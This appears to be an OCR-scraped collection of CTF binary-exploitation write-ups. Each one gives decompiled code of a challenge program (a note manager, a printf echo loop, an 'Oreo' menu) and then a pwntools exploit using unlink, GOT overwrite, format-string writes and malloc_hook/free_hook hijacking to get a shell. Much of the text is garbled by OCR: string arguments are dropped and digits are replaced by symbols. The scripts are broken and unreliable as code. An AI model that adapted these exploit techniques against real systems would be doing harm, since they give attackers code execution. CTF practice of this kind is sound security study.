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new

int new()
{
unsigned int v1; // eax
unsigned int size; // [rsp+4h] [rbp-Ch]
void *size_4; // [rsp+8h] [rbp-8h]

if unsigned int)dword 602160 > 3
return puts("note lists are full");
puts("Input the length of the note content:(less than 128)");
size = sub_488A4A();
if ( size > 128 )
return puts("Too long");
size 4 = malloc(size);
puts("Input the note content:");
sub_40e9BD((__inte4)size 4, size, '\n');

sub_400Ble(size 4);
*(&ptr + (unsigned int)dword_602160) = size 4;

gword_682140[dword_602160] = size;
vl = dword_602160++;
return printf("note add success, the id is %d\n", v1);
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const char *__ fastcall sub_4@eB1@(const char *al)
{

const char *result; // rax
int i; // [rsp+18h] [rbp-18h]
int v3; // [rsp+1Ch] [rbp-14h]

V3 = 8;
for (1 =0; 1 <= strlen(al); ++1i )
{

if ( al[i] = "%" )

al[v3++] = al[i];

}
result = &al[v3];
*result = 9;
return result;

AT HTE K Y% 2 B 5

I B chunk iz Kt H fE 2 fastbinit Hl ) chunk .
ptrit 5 2 Fe 2

0x602140/Esize 154

0x60216072 K/

show

int show()
{
__inte4 ve; // rax
int v2; // [rsp+Ch] [rbp-4h]

puts("Input the id of the note:");
LODWORD(ve) = sub_40eA4A();

v2 = v8;
if ( (int)ve >= @ && (int)ve <= 3 )
{
ve = (__inted)*(&ptr + (int)ve);
if (ve )

LODWORD(ve) = printf("Content is %s\n", (const char *)*(&ptr + v2));
}

return ve;
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edit

L1 l\ =170 J
{

puts(“"do you want to overwrite or append?[l.overwrite/2.append]");

v3 = sub_4@eA4A();

if (v3==1]| vz ==2)

{
if ((v3 ==1)

dest[@] = @;
else
strcpy(dest, src);

v7 = malloc(@xAeuLL);
strcpy((char *)v7, "TheNewContents:");
printf((const char *)v7);
sub_4009BD(( inte4)v7 + 15, 144LL, 10);
sub_4@eBl1e((const char *)v7 + 15);
vl = v7;
ve[v5 - strlen(dest) + 14] = @;
strncat(dest, (const char *)v7 + 15, OxFFFFFFFFFFFFFFFFLL);
strcpy(src, dest);
free(v7);
puts("Edit note success!");

}

else

{
¥

hl

puts("Error choice!");
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free

|int delete()

|{
int54 ve; // rax

int v2; // [rsp+Ch] [rbp-4h]

puts("Input the id of the note:");
LODWORD(v@) = sub_400A4A();
v2 = v@;
if ( (int)ve >= @ && (int)ve <= 3 )
{
vl = (__inted)*(&ptr + (int)ve);
if (ve )
{
free(*(&ptr + v2));
*(&ptr + v2) = OLL;
gword_682148[v2] = eLL;
LODWORD(v8) = puts("delete note success!");
¥
¥

Il return ve;
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exp

from pwn import
context.log level

P remote ( ,27408)
libc ELF( )
elf = ELF( )

atoi_got elf.got|[

free_got elf.got|[

puts_plt elf.plt[
r.sendlineafter(

r.sendlineafter(

def add(size,content):
r.sendlineafter(
r.sendlineafter( (size))
r.sendlineafter( ,content)

def show(index):
r.sendlineafter(

r.sendlineafter( ) (index))




def edit(index,content,mode=1):

r.sendlineafter(

r.sendlineafter( 5 (index))

r.sendlineafter( P (mode) )

r.sendlineafter( ,content)

def delete(index):

r.sendlineafter(

r.sendlineafter( (index))

heap_ptr_1

fake_chunk

fake chunk

fake chunk

payload

0X0000000000602120

p64(9) p64(0x81 0x20)

p64(heap ptr_1 0x18) p64(heap ptr 1 0x10)
0x10

0x20)
ox8)

ox8 p8(0x99)

0x10

edit(1,payload)

payload

Ox10 + p64(0Ox20 + Ox80)

edit(1,payload)

delete(2)

atoi_addr
libc_base

0x18 + p64(heap ptr 1 + 8))

)
ué4(r.recv(6).ljust(s,
atoi_addr libc.sym[

libc_base libc.sym[
5 (libc_base)
(system_addr)

edit(1,p64(system_addr))

r.sendlineafter(

r.interactive()
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int _ cdecl main(int argc, const char **argv, const

{
char s[268]; // [rsp+16h] [rbp-11@h] BYREF
int v5; // [rsp+11Ch] [rbp-4h]

scanf("%s", s);

v5 = strlen(s);

printf(“Hi %s\n", s);

return @;

int callThisFun(void)

{
char *path[4]; // [rsp+6h] [rbp-28h] BYREF
path[@] = "/bin/cat";
path[1] = "flag.txt";
path[2] = 6LL;
return execve("/bin/cat", path, ©LL);
}
ret2text?
exp

from pwn import

context.log level

r remote( ,29514)

flag_addr = 0x401157
payload 0x118 p64(flag_addr)

r.sendline(payload)

r.interactive()
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vd = __readgsdword(@x14u);
setbuf(stdin, ©);
setbuf(stdout, ©);
setbuf(stderr, 08);
puts("Do you know repeater?");
while ( 1)
{
read(@, buf, @x64u);
printf(buf);
putchar(10);
¥
¥
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from pwn import

context.log level

remote( ,26269)

elf.got|

p32(puts_got)

r.sendline(payload)
puts_addr u32(r.recv(4))

libc_base puts_addr libc.sym[

system_addr libc_base libc.sym[
print (libc_base)

SENARCET) fmtstr_payload(6, {printf_got:system_addr})
r.sendline(payload)

payload
r.sendline(payload)

r.interactive()
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read(@, buf, @x20uLL);
_printf_chk(1LL, (__inté4)buf);
puts ease 1input your )
read(@, s, 8uLL);
puts(s);
while ( 1)
{
sub_B7D();
_is0c99_scanf("%d", &v1);
getchar();
switch ( v1 )
{
case 1:
add();
break;
case 2:
edit();
break;
case 3:
show();
break;
case 4:
delete();
break;
case 5:
puts("Goodbye~");
exit(e);
default:
puts("Wrong choice!");
return __readfsqword(ex28u) ~ v4;
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add

v3 = __readfsqword(@x28u);
if ( dword_20204C > 16 )
puts("Enough!");
puts("Please input the size of story: ");
_is0c99_scanf("%d", &v2);
*((_DWORD *)&unk_282060 + 4 * dword_20204C) = v2;

-e = Jaword e, ., "—-e——
* WORD *)&unk 282868 + 2 * v8) = malloc(v2);
puts( please 1npute the story: 3

read(@, *((void **)&unk_202068 + 2 * dword_20204C), v2);
++dword_28204C;
puts("Done!™);
return __ readfsqword(@x28u) ~ v3;
X AR T — R
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int edit()
{

}

return puts("You are not the king, so can't edit the story");

int show()
{

}

return puts("You are not the king, so you can't show the story.");

A editiR
show,

v2 = __readfsgword(@x28u);

puts("Please input the index:");
_is0c99_scanf("%d", &vl);

free(*((void **)&unk_202068 + 2 * v1));
puts("Done!");

return __readfsqword(@x28u) " v2;
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from pwn import

r remote( , 28362)

def add(size, content):
r.sendlineafter(
r.sendlineafter( 5 (size))

r.sendlineafter( , content)

def delete(index):
r.sendlineafter(

r.sendlineafter( (index))
payload

r.sendlineafter( , payload)

)
(r.recv(12), 16) 0x110081
libc_base libc.sym[
libc_base libc.sym[

p64(free_hook)
, payload)

add (0x709, )
add(0x70, p64(system_addr))

delete(1)

r.interactive()
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fhar *sub_B7A()

memset(sl, @, Oxl1l4uLl);

puts ("H#H#HFHFHFHEHFHAHAHAHEEEE")
puts("# Surprise #");

printf ("> Input your code please:");
read(@, s1, ©x13ulLl);
if ( strncmp(sl, "OreOOrere0Ore0", OxEuLL)
{
puts("Emmmmmm!Maybe you want Fool me!");
exit(@);

¥

puts("#--------------------- #");
puts("# ALL Down! #");
puts (" ###H##HH# S HERHEER" ) ;

return sl;

unsigned __ inté64 sub_CeA()

{

unsigned __inté4 vi1; // [rsp+8h] [rbp-8h
vl = __readfsqword(@x28u);

puts ( "#H#H#FHFFEHHHFHEFSHHHHEEE")
puts("# Action menu #');
puts("#-------------c-coonn-- #');
puts("# @.Check Code. #");
puts("# 1.Create Oreo. #");
puts("# 2.Modify Oreo. #");
puts("# 3.Delete Oreo. #");
puts("# 4. View Oreo. #");
puts("# 5.Exit  system. #");

puts ( "#H#H#FHFFEHHHFHEFSHHHHEEE")
return __readfsqword(@x28u) ~ vi;
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check

unsigned __inté4 _ fastcall check(const char *al)

{
unsigned __inte4 v2; // [rsp+18h] [rbp-8h]

__readfsqword(@x28u);

v2 =
if ( dword_2620818 )
{
puts("Now you are ....?");
printf("# Your Code is ");
printf(al);
putchar(10);
puts (" ##FFHERFHHHHRFHERER AR B R RALRAFHH G HHAHHE FAFH BHFHE R FHHHHE FHH S FHH S S S LSS SRR AR SRS ) )

}

else

{

puts(“Now you are Administrator!");

}

return __readfsqword(®x28u) ~ v2;
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create

4

¥
printf("> 0's length : ");
_is0c99_scanf("%1d", &gword_202148[i]);
if ( qword_202140[i] <= © || gword_202148[i] > 112 )
{

puts ("Emmmmmm!Maybe you want Fool me!");

exit_o();
¥
*((_QWORD *)&unk_2028E@ + i) = malloc(gqword_202140[i]);
printf("> 0 : ");

void **)&unk 2020E0 + 1 word 2021401

" *

_is0c99_scanf("%1d", &gword_202080[i]);
if ( qword_202080[i] <= © || gword_202088[i] > 112 )
{
puts ("Emmmmmm!Maybe you want Fool me!");
exit_o();
¥
printf("> RE : ");
*((_QWORD *)&unk_2021A0 + i) = malloc(qword_2e208@[1]);
read(@, *((void **)&unk_2021A0 + 1), qword _202080[i]);

puts
puts("# ALL Down! #")
puts ( "####FHHHHE TS

L N

P TEET, SR R T
s PR, PSRN,

HE K/ N BEREIE0x70, BT LHIIE AN E K /N Aunsorted binfchunk,  FT LAFRATT 5 2t 8 bk i e gt B 2 7



modify

unsigned __int64 modify()

{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsgword(@x28u);

puts (" #H#H#HHFHEHHHHHE SRR EHER")
puts("# Modify Oreo #');
puts("#--------------moo- #");

printf("> Oreo ID : ");
_is0c99_scanf("%d", &vl);
if (vli< e
| vi > 10
|| !*(( QWORD *)&unk_2020E@ + v1)
|| !'qword_202140[v1]
|| !'*((_QWORD *)&unk_2021A0 + v1)
|| !'qword_202080[v1] )
{
puts ("Emmmmmm!Maybe you want Fool me!");
exit_@();
}
printf("> 0 : ");

read(@, *((void **)&unk_zezeEe + v1), gword 202140 vil);

printf("> RE : "

* i *; + \
puts("#-----------moeeeooo- #");
puts("# ALL Down! #")3

puts ("H#HHHHHHHHHHHAHFHFRFRERE") ;
return __readfsgword(®x28u) ~ v2;
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view

{

unsigned __int64 view()

int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsgword(@x28u);

puts (" #H#H#HHFHEHHHHHE SRR )
puts("# View Oreo #');
puts("#--------------moo- #");

printf("> Oreo ID : ");
isoc99_scanf("%d", &vl);

if (vi<@ || vi> 10 || !*(( QWORD *)&8unk_2020E@ + v1) )
{

puts ("Emmmmmm!Maybe you want Fool me!");

exit_@();
}

printf("# oreo's 0 is %s\n", *((const char **)&unk_2©20E@ + v1));
printf("# oreo's RE is %s\n", *((const char **)&unk_2021A0 + v1));

puts("# ALL Down! #")3
puts ("H#HHHHEHHHHHHHHFHFRFRERE" ) ;
return __readfsgword(®x28u) ~ v2;

PP JE A i R A



delete

unsigned __ int64 delete()

{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = _ readfsqword(©x28u);

puts ("H#HHHHEHHHHHHHHFHFRFRERE" ) ;
puts("# Delete Oreo #")3
puts("#-----------moeeeooo- #");

printf("> Oreo ID : ");
_is0c99_scanf("%d", &v1);
if (vi< @ || vi>1e || !'*((_QWORD *)&unk_2020E0 + v1) )

{
puts ("Emmmmmm!Maybe you want Fool me!");
exit_0();
¥
free(*((void **)&unk_2020E0 + v1));
free(*((void **)&unk_2021A0 + v1));

puts("# ALL Down! #');
puts (" #H#H#HHFHEHHHHHE SRR )
return __readfsqword(@x28u) " v2;
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exp

from pwn import

r remote( , 29962)

context.log level

elf = ELF(
libc = ELF(

one_gadget oxf1147
def add(sizel, contentl, size2, content2):

r.recvuntil( )
.sendline( )
.recvuntil(
.sendline( (sizel))
.recvuntil( )
.send(contentl)

.recvuntil(




r.recvuntil(

r.send(content2)

def delete(index):
r.recvuntil(
r.sendline(
r.recvuntil(
r.sendline( (index))
def show(index):
r.recvuntil(
r.sendline(
r.recvuntil(
r.sendline( (index))
def edit(index, contentl, content2):
r.recvuntil(
r.sendline(
.recvuntil(
.sendline( (index))
.recvuntil( )
.sendline(contentl)
.recvuntil(
.sendline(content2)

r.recvuntil(
.sendline(

.recvuntil(
.sendline(

.recvuntil(

r.recvuntil( )
(r.recv(12), 16)
start_main

start_main oxfo

libc_base libc.sym[
malloc_hook libc.sym[

one_gadget one_gadget libc_base

, 0x20,
, 0x20,

add (0x68, p64(malloc_hook-0x23)
add (0x68, p64(malloc_hook-0x23) 5

r.sendline( (0x68))

r.interactive()

0x68,

)

libc_base

, 0x68,p64(malloc_hook-0x23)

0x13+p64(one_gadget)
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